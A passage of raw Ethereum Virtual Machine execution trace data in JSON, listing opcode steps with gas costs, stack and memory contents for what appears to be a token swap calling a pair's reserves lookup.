000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8646,"op":"JUMPDEST","gas":113822,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8647,"op":"SWAP1","gas":113821,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8648,"op":"POP","gas":113818,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8649,"op":"DUP1","gas":113816,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8650,"op":"PUSH1","gas":113813,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8652,"op":"PUSH1","gas":113810,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8654,"op":"PUSH1","gas":113807,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8656,"op":"SHL","gas":113804,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1","0x1","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8657,"op":"SUB","gas":113801,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1","0x10000000000000000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8658,"op":"AND","gas":113798,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1fa848857b24b9416355f4b4668a84c842116bf4","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8659,"op":"PUSH4","gas":113795,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8664,"op":"PUSH1","gas":113792,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x902f1ac"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8666,"op":"MLOAD","gas":113789,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x902f1ac","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8667,"op":"DUP2","gas":113786,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x902f1ac","0x180"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8668,"op":"PUSH4","gas":113783,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x902f1ac","0x180","0x902f1ac"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8673,"op":"AND","gas":113780,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x902f1ac","0x180","0x902f1ac","0xffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8674,"op":"PUSH1","gas":113777,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x902f1ac","0x180","0x902f1ac"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8676,"op":"SHL","gas":113774,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x902f1ac","0x180","0x902f1ac","0xe0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8677,"op":"DUP2","gas":113771,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x902f1ac","0x180","0x902f1ac00000000000000000000000000000000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000180","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8678,"op":"MSTORE","gas":113768,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8